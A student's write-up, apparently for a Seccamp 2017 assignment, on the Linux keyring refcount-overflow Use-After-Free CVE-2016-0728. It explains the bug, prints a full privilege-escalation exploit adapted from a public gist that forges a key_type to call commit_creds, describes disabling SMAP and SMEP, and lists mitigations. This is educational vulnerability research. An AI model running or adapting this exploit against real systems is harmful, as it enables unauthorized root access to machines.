
cve-2016-0728 exploit and summary
Seccamp 2017 Assignment
The following program exploits a vulnerability present in the Linux kernel versions 3.8 to 4.4. Explain the malfunction that occurs when this program is executed. Also, write an exploit that achieves root privilege escalation by further exploiting this vulnerability, and describe the operating environment you tested, the points you worked on, etc. Additionally, list as many mitigation techniques as possible that can prevent such an attack, and explain them. It is fine if you do not fully understand everything; write in your own words about the information you have gathered up to the point you understood, the process of your attempts, and what you felt. Also, if there are any websites or references you used, clearly state those sources.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
The verification environment is as follows.
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
I learned about this vulnerability for the first time. Here I describe what I found through my research, and what I tried during that process. First, I will explain the key retention service used in this program, then the Use-After-Free vulnerability exploited by this program, what causes it in the program, and what kind of malfunction results. This vulnerability is registered as CVE-2016-0728, and I referred to the following website for an overview.
Also, I was unfamiliar with the Linux key retention service, so I referred to IBM's introduction to Linux key retention service web page:
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
and the source code of Linux kernel 3.19 (the verification environment):
For sending kernel messages to the host OS via network, I referred to: DEBUG HACKS - Techniques & Tools for Extreme Debugging (O'REILLY)
This program (hereafter called leak.c) exploits a bug in the Linux key retention service, and this bug leads to a Use-After-Free vulnerability. A Use-After-Free vulnerability is one where, due to a program inconsistency, a freed heap memory address is referenced, potentially allowing arbitrary code execution. First, I will explain the system call keyctl() used by this program, and describe what bug exists in it.
Each process can create its own session keyring by calling keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). This keyring can be shared between processes by referencing the name. If a process already has a session keyring, this system call replaces the session keyring with a new one. To understand this behavior better, I looked at the join_session_keyring function in the kernel source code at /security/keys/process_keys.c. It is a program like the one below. When replacing the session keyring with a new one, it skips the key_put function. key_put is a function that destroys the reference to the keyring given as an argument. By skipping it, a reference to the new keyring remains, leading to a Use-After-Free vulnerability.
When this keyring is shared between processes, the internal reference count stored in the usage member of the key structure increases. The usage member is of type atomic_t, which is actually defined as a typedef of a struct containing one int variable. Also, since there is no mechanism to prevent overflow of this usage member, by increasing this member repeatedly, it can overflow and become 0. When the usage member becomes 0, the keyring is freed by garbage collection inside the keyring subsystem. By placing another arbitrary kernel module in user space into this freed area, that processing can be executed with kernel privileges.
According to the reference site, when leak.c is compiled with the keyutils library and executed, /proc/keys shows a session keyring called leaked_key registered and referenced 100 times. They verified that leaked-keyring appeared as follows before and after running the program.
# Before execution
$ cat /proc/keys
$ ./leak
# After execution
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
However, in the verification environment, leaked-keyring did not appear. As a test, I changed the for loop condition to a large number like i < 0x1000000, and then leaked-keyring appeared during program execution. The attack succeeds by overflowing the usage member to free the key, then placing a new kernel object there. So I decided to actually try it. I referred to the following site for the exploit code:
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
As a result of execution, the privileges did not change, and the shell started with the privileges of the executing user. My first thought was that perhaps my environment had been updated and the patch had already been applied. This vulnerability was disclosed around January 2016, and my environment had been updated since then. So I tried once more in a fresh virtual environment (kernel 3.18.52) with different constant values, but it still did not work. There were also reports that the exploit does not work properly when memory protection mechanisms such as SMAP or SMEP are active. SMEP prohibits execution of user-space address code in kernel mode, and SMAP prohibits access to user-space addresses in kernel mode. In the comments on the gist, several people had verified a code that worked on kernel 3.18.25, where uid became 0 but the VM froze. I decided to try that. The link is here (https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830). I built a kernel (kernel 3.18.25) with both SMAP and SMEP disabled and tested against it. The execution environment is as follows. SMAP was disabled in .config during build, and SMEP was also disabled in the grub configuration file (/boot/grub/grub.cfg).
$ uname -r
3.18.25
When I ran leak in this environment, /proc/keys looked like this:
$ cat /proc/keys
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
The keyring object appeared just like in the reference site. Then I ran the exploit, but again the shell started with the privileges of the user who ran the program. So I monitored /proc/keys with the watch command every 0.1 seconds. I found that when the usage member did not become exactly 0 (for example, when running the exploit specifying the same keyring name as one generated by an interrupted program, the usage member of that keyring object increased again after overflow), join_session_keyring created a new keyring object. This suggested that unless the reference counter is adjusted to become exactly 0, the key object would not be freed. When the reference counter reached 0, the keyring object indeed became invisible and was presumably freed. After running it several times in succession, I confirmed that root was obtained (uid=0, euid=0) but immediately after that a kernel panic occurred and the VM froze.
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed
So I tried forwarding kernel messages to the host OS via netconsole and reading the logs, but I searched for constant address values like commit_creds and kernel_prepare_cred, but could not find corresponding locations. In the end, I was unable to achieve root and launch a shell.
From the above, for attacks exploiting this vulnerability, enabling kernel protection mechanisms such as SMAP and SMEP can make attacks more difficult. Also, shortly after the vulnerability is disclosed, various distributions provide kernel updates containing patches, so applying those updates can prevent attacks. While researching this vulnerability, when I ran the PoC code on kernel 3.18.52, monitoring /proc/keys showed that the usage member of the keyring object increased and decreased repeatedly. So I thought that between kernel 3.18.25 and 3.18.52, the keyring-related code or the abort_creds function used in join_session_keyring might have been changed, altering the mechanism that increments the reference counter (here, the usage member). The reason is that the reference site described that the reference counter usage is incremented and decremented twice within join_session_keyring, and crucially, abort_creds decrements the reference counter asynchronously after a process called an RCU job, which is significant.
When I first looked into this vulnerability, I was surprised and also concerned that a normal user could escalate privileges to root. However, as I verified PoC exploit code and researched, I learned that attackers must also pinpoint the kernel version, and if SMEP or SMAP are enabled, they must bypass them as well. Moreover, the exploit is not guaranteed to succeed, and if it fails it causes a kernel panic, alerting the attacker's presence. I found that there are many downsides for attackers, and I began to question whether it is actually a practical attack method.